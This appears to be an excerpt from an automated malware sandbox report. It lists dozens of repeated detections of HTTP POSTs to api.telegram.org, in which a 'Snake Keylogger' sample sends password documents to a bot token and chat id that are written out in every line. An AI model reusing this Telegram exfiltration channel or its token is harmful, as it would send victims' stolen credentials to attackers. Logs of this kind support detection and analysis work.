Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cc403d3dHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cc65c603Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cc7b3b50Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cc9a3987Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ccb9372eHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ccd10e90Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cce684f4Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cd0582ceHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cd1d59a0Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cd39f68cHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cd51cd5eHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cd69a4f9Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cd7f1cd4Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cda53fd6Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cdc43fbaHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cddc15ccHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cdf18b5fHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ce12ebbaHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ce55ad92Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ce6b24c9Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ce91498cHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ceb76f1cHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cecf467eHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ceee4404Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cf146a4eHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cf29df91Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cf48dd2bHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cf67dbc5Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cf9c5368Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cfc2757dHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cfda4c26Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cff94c71Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255d018a361Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255d02dbe7dHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255d04cbcffHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255d06494a7Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255d53ebc56Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255d719308dHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255d735cde8Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255d754cacaHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255d76ca2a1Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255d7821822Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255d7a83f75Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255d7d7ede1Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255d7f489d9Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255d80c5fc7Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255d82436fbHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255d840d70dHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255d85fd29cHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255d87ed04bHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255d896a7dcHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255d8b3451cHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255d8cb1d71Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255d8ff9058Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255d917675eHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255d93d8c91Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255d95563e5Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255d972014aHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255d990fe2eHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255d9affcf6Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255d9cefbedHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255d9edf9e7Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255da0a972bHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255da226dbbHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255da416c4bHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255da56e2bfHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255da7d07f1Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255da94deb0Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255dab3dcf1Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255dad2dbd1Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255daef78f9Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255db074f2cHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255db2d74a4Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255db6b7218Host: api.telegram.orgContent-Length: 407
